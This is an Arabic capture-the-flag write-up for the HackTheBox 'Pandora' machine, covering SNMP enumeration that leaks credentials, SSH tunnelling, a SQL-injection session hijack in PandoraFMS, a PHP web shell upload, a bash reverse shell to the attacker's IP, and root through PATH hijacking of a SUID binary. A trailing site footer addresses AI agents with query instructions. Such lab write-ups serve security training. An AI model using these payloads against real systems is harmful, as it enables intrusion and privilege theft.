> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md).

# شرح Pandora HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Pandora>" %}

{% hint style="warning" %}
**المهارات:**

* تعداد SNMP السريع
* تسرب المعلومات
* إعادة توجيه المنفذ المحلي
* حقن SQL - اختطاف جلسة المدير
* تنفيذ التعليمات البرمجية عن بُعد مع المصادقة في PandoraFMS v7.0NG (CVE-2019-20224]
* إساءة استخدام ثنائي مخصص - اختطاف PATH (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/1499167e1013219d3e37815674c0629bcd7919e9" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/ec4f29d195d5d33db77f94e488e7f9b5ce7cadb2" alt="" width="563"><figcaption></figcaption></figure>

## TCP:

**العثور على منافذ TCP المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts
```

<figure><img src="/files/ae85352602ce9e2c7237ce4980d30b45ef26be7e" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

<figure><img src="/files/0bc1b441fdb9e10e9da6e112bceda04e9e3e94eb" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدار منافذ TCP باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.136 -oN targeted
```

<figure><img src="/files/6aeb925fd65099b3cb9a48c4f794da6441db9f82" alt=""><figcaption></figcaption></figure>

### المنفذ 80:

استخدمنا `whatweb` لتحديد التقنيات المستخدمة من قبل خادم الويب:

<div align="right" data-full-width="true"><figure><img src="/files/36ba91f7bca1920ab88c1884d43265fc330d9559" alt=""><figcaption></figcaption></figure></div>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/61831255b786e3f0f35d338d8600400f9a812bfd" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3fe933e3ca892f2428ce555943d31b53e089621c" alt=""><figcaption></figcaption></figure>

## UDP:

**العثور على منافذ UDP المفتوحة باستخدام Nmap:**

نقوم أيضًا بإجراء فحص على منافذ UDP باستخدام **Nmap**:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP
```

نكتشف منفذ SNMP 161 و17185 و49201

<figure><img src="/files/175c7761c9cf429c0a84cb54aff8d002e45c1be7" alt=""><figcaption></figcaption></figure>

**فحص إصدار منافذ UDP باستخدام Nmap:**

استخدام Nmap لفحص إصدار منافذ UDP واستخراج المعلومات إلى ملف "targeted":

```bash
nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP
```

اكتشاف معلومات حساسة عبر SNMP، بما في ذلك مستخدم:

* `daniel`
* كلمة المرور: `HotelBabylon23`.

<figure><img src="/files/36f460015b1a00e0b678877e9aa293eb66b81abd" alt=""><figcaption></figcaption></figure>

## المنفذ 161 - SNMP

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

**استكشاف SNMP**

لفحص خدمات SNMP المكشوفة، استخدمنا الأمر التالي

```bash
snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt
```

* من خلال تحليل محتوى `snmpcontent.txt`، اكتشفنا معلومات حساسة، بما في ذلك بيانات اعتماد صالحة:
  * **المستخدم**: `daniel`
  * **كلمة المرور**: `HotelBabylon23`

<figure><img src="/files/3a7d1a659cf01e16ac57ab90b907b05d764c6bcc" alt=""><figcaption></figcaption></figure>

باستخدام المعلومات المسترجعة، أنشأنا اتصال SSH بالجهاز المستهدف:

```bash
ssh daniel@10.10.11.136
```

<figure><img src="/files/7ad261b9cf18b99d4274791d16b5324c3af14dd0" alt=""><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

**البحث الأولي**

من خلال استكشاف المجلدات المتاحة للمستخدم `daniel`، حددنا ملفات ومجلدات مثيرة للاهتمام في المسار التالي: `/var/www/pandora`

<div data-full-width="true"><figure><img src="/files/2465aa0e5fe9aae6927a532da577c8365810a4ec" alt=""><figcaption></figcaption></figure></div>

يحتوي هذا المجلد على موقع PandoraFMS، والذي لا يبدو أنه متاح مباشرة من الخارج.

**إعادة توجيه المنافذ**

للوصول إلى واجهة PandoraFMS عبر جهازنا المحلي، قمنا بإعداد نفق SSH:

```bash
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
```

## استغلال Pandora FMS - حقن SQL

### **حقن SQL : اختطاف جلسة المدير**

يعيد هذا الأمر توجيه طلبات HTTP المحلية إلى خادم الويب الداخلي.

<figure><img src="/files/316759a936d5edefa6c7d0fde5416da58b2549f9" alt=""><figcaption></figcaption></figure>

تم اكتشاف الإصدار: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/e042b4df27ee4a1666af622d5759fd3c8215485e" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

ثغرة معروفة في `chart_generator.php` من خلال `session_id` المتغير:

<figure><img src="/files/8bf503561fbb86d45030d96f7f222e5a4f0e17ff" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/711bc9ec6e0fc53e9153165aa3b5ca75bc396ebb" alt=""><figcaption></figcaption></figure>

تشغيل حقن SQL لانتحال جلسة مدير:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* يعيد هذا الأمر ملف تعريف ارتباط لجلسة المدير.

<figure><img src="/files/8fb698faa3cef91fdbe79c673fcb43deae7659ac" alt=""><figcaption></figcaption></figure>

استخدام ملف تعريف الارتباط للوصول إلى لوحة التحكم كمسؤول.

<figure><img src="/files/1ce0c211f03d9850a49886192230e49a95ec3152" alt=""><figcaption></figcaption></figure>

### **تنفيذ التعليمات البرمجية عن بُعد (RCE) - (CVE-2019-20224]**

انتقل إلى **مدير الملفات**.

<figure><img src="/files/59326bc799516d35618745b31943382b2afcdd40" alt=""><figcaption></figcaption></figure>

رفع ملف PHP خبيث:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* الملف متاح عبر `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/6be5a494f577ecd6ba5798932172f29a799beb1a" alt=""><figcaption></figcaption></figure>

تشغيل غلاف عكسي:

* الاستماع المحلي:

```bash
nc -nvlp 443
```

* تشغيل الأمر على الخادم المستهدف:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

تم الوصول كالمستخدم `matt`.

<figure><img src="/files/1aca5ad4d047579222261f809531e7fe15a0630b" alt=""><figcaption></figcaption></figure>

**إعداد الطرفية:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

يوفر راحة أكبر أثناء الاستخدام في طرفية تفاعلية.

### العلم User.txt :)

<figure><img src="/files/d9fc2b1c0af9ca85f330253286486fe2eb78bc86" alt="" width="563"><figcaption></figcaption></figure>

## اختطاف PATH - إساءة استخدام ثنائي مخصص

**البحث عن الثنائيات ذات أذونات SUID**

```bash
find / -perm -4000 2>/dev/null
```

النتيجة: تم العثور على ملف ثنائي مثير للاهتمام:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="/files/2e9b11ea0e3c6d0b0293cd47243c68e4b3d3842c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/16ffa1aa9f68bec0b26b3116a713a2b68b6e1512" alt=""><figcaption></figcaption></figure>

**تحليل الثنائي باستخدام `ltrace`**

لفهم كيفية عمل الثنائي، استخدمنا **`ltrace`** (أداة لتتبع استدعاءات النظام) لمراقبة استدعاءات النظام التي يجريها هذا الثنائي:

```bash
ltrace /usr/bin/pandora_backup
```

سمح لنا هذا برؤية أن الثنائي كان ينفذ **KEEP/*****0/*****/\_** الأمر دون استخدام مسار مطلق إلى الملف التنفيذي، مما يخلق ثغرة محتملة. بعبارة أخرى، إذا قمنا بتعديل **`PATH`** ليتضمن دليلاً يحتوي على ملف تنفيذي خبيث يسمى `tar`، فسيتم تنفيذ هذا بدلاً من الأصل.

<figure><img src="/files/52fc6160f85f0816a70ce6de99c258c7a74fe7eb" alt=""><figcaption></figcaption></figure>

**الاستغلال عبر اختطاف PATH**

**إنشاء `tar` الملف:** أنشأنا ملفًا باسم `tar` في `/tmp/` الدليل مع أذونات التنفيذ **SUID**. يحتوي هذا الملف على أمر لفتح غلاف bash بامتيازات مرتفعة:

```bash
chmod 4777 /bin/bash
```

**تعديل `PATH` المتغير:** لفرض استخدام النظام لنسختنا الخبيثة من `tar`، قمنا بتعديل `PATH` المتغير لإعطاء الأولوية لـ `/tmp/` الدليل

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/e2006ea79474e7024cf871129d36051e2c62f1ba" alt=""><figcaption></figcaption></figure>

**تنفيذ الثنائي الضعيف:** بعد تعديل `PATH`، قمنا بتشغيل **`pandora_backup`** الثنائي:

<figure><img src="/files/2c2ec0d0802766aa52138dd71b8b99e24971f727" alt=""><figcaption></figcaption></figure>

من خلال تشغيل نسختنا المعدلة من `tar`، تم فتح غلاف Bash بامتيازات مرتفعة، مما منحنا `root` الوصول.

### العلم root.txt :)

<figure><img src="/files/7d3749bf1a57cfbcb9f6da7c28f965f690c7fd9d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/350da4a74a279bac270bd0417f14fdf7df2797f4" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
